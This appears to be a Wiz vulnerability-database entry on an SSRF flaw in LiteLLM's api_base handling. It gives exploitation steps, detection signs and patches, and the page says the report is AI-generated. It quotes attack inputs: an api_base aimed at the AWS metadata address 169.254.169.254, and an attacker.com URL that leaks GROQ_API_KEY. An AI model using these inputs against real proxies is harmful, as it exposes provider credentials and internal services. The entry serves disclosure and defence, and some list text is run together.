
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-136536 is a Server-Side Request Forgery (SSRF) vulnerability in LiteLLM's is_request_body_safe function that allows authenticated remote attackers to disclose sensitive information. The flaw exists in the handling of the api_base parameter in chat completion requests, where insufficient URI validation enables attackers to trigger server-side requests to arbitrary internal or external resources. It affects LiteLLM version 1.82.3 and was publicly disclosed on November 24, 2026, following a report to the vendor on March 30, 2026. It carries a CVSS v3.0 base score of 6.4 (Medium) (ZDI Advisory, Github Advisory).
The vulnerability is classified as CWE-918 (Server-Side Request Forgery) and stems from two compounding flaws in LiteLLM's proxy authentication logic (Github Advisory). First, check_complete_credentials() returned True for any request containing a non-empty api_key, which caused the is_request_body_safe banned-params blocklist to be bypassed entirely — allowing api_base or base_url values pointing to private RFC 1918, loopback, link-local, or cloud-metadata (IMDS) addresses to pass validation. Second, when a caller redirected api_base to an attacker-controlled host, admin-configured provider credentials (e.g., azure_ad_token, AWS/Vertex credentials, organization, extra_headers) were forwarded unchanged to the attacker's server. An additional provider-confusion vector existed via an unanchored substring match (if endpoint in api_base:), allowing a crafted URL like https://attacker.com/api.groq.com/openai/v1 to cause the proxy to read and forward GROQ_API_KEY to the attacker (GitHub PR #26518).
Successful exploitation allows an authenticated low-privileged attacker to cause the LiteLLM proxy to issue HTTP requests to internal network resources, cloud metadata endpoints (e.g., AWS IMDS at 169.254.169.254), or attacker-controlled servers, disclosing sensitive information in the context of the service account. Beyond basic SSRF, the admin-config leak vector means that provider API keys, Azure AD tokens, AWS session tokens, OCI signing credentials, and observability callback secrets (Langsmith, Langfuse, PostHog, Braintrust, Slack webhooks) could be exfiltrated to an attacker-controlled host. The scope is marked as Changed, indicating that the impact extends beyond the vulnerable LiteLLM component to backend AI provider accounts and internal infrastructure (ZDI Advisory, GitHub PR #26518).
Authentication with low privileges is required to exploit this vulnerability, limiting opportunistic exploitation. No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at the time of disclosure (Github Advisory). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was originally tracked as ZDI-CAN-29838 and discovered by researcher Javohir Abduxalilov (JavaSec.uz), who reported it to the vendor through the Zero Day Initiative program (ZDI Advisory).
/v1/chat/completions) including both a valid api_key field and a crafted api_base parameter pointing to an internal target, such as http://169.254.169.254/latest/meta-data/ (AWS IMDS) or an internal service.api_key in the request body causes check_complete_credentials() to return True, which historically caused is_request_body_safe to skip the banned-params blocklist, allowing the malicious api_base value to pass validation.api_base URL, causing the server to make an outbound HTTP request to the internal or attacker-controlled target.api_base is overridden.api_base=https://attacker.com/api.groq.com/openai/v1 to exploit the unanchored substring match, causing the proxy to identify the provider as Groq and forward the server's GROQ_API_KEY to the attacker's host (ZDI Advisory, GitHub PR #26518).POST /v1/chat/completions) with api_base parameters containing internal IP addresses, metadata service URLs, or external attacker-controlled domains; requests where api_base contains a known provider domain as a path segment rather than the hostname (e.g., attacker.com/api.groq.com/...).api_base, base_url, or banned parameter fields after patching (indicating attempted exploitation post-upgrade); unexpected provider API key usage or authentication failures on provider accounts not initiated by legitimate users.LiteLLM has issued a patch via GitHub Pull Request #26518, merged April 30, 2026; operators should update to any LiteLLM version that includes this fix (beyond 1.82.3) (GitHub PR #26518). As a configuration-based mitigation, ensure litellm.user_url_validation is enabled (set to True) so that the SSRF URL guard is enforced at the proxy boundary. Restrict network egress from the LiteLLM service to only required upstream AI provider endpoints, preventing access to internal resources and cloud metadata services. For BYOK (Bring Your Own Key) deployments that previously relied on the implicit api_key bypass, migrate to the explicit admin opt-in paths: general_settings.allow_client_side_credentials = true (proxy-wide) or configurable_clientside_auth_params per deployment (Github Advisory).
The vulnerability was discovered by researcher Javohir Abduxalilov (JavaSec.uz) and disclosed through the Trend Micro Zero Day Initiative program after a coordinated disclosure period of approximately eight months (ZDI Advisory). The GitHub pull request discussion highlights that the fix is backwards-incompatible for existing BYOK deployments, with the Greptile automated reviewer flagging the breaking change and recommending a feature flag migration path before the PR was merged. The fix addresses a cluster of related SSRF and credential-exfiltration issues previously tracked under GHSA-jh89-88fc-qrfp and GHSA-3frq-6r6h-7j64, suggesting a pattern of recurring api_base redirection vulnerabilities in LiteLLM (GitHub PR #26518).
Fix availability across major Linux distributions and their releases.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."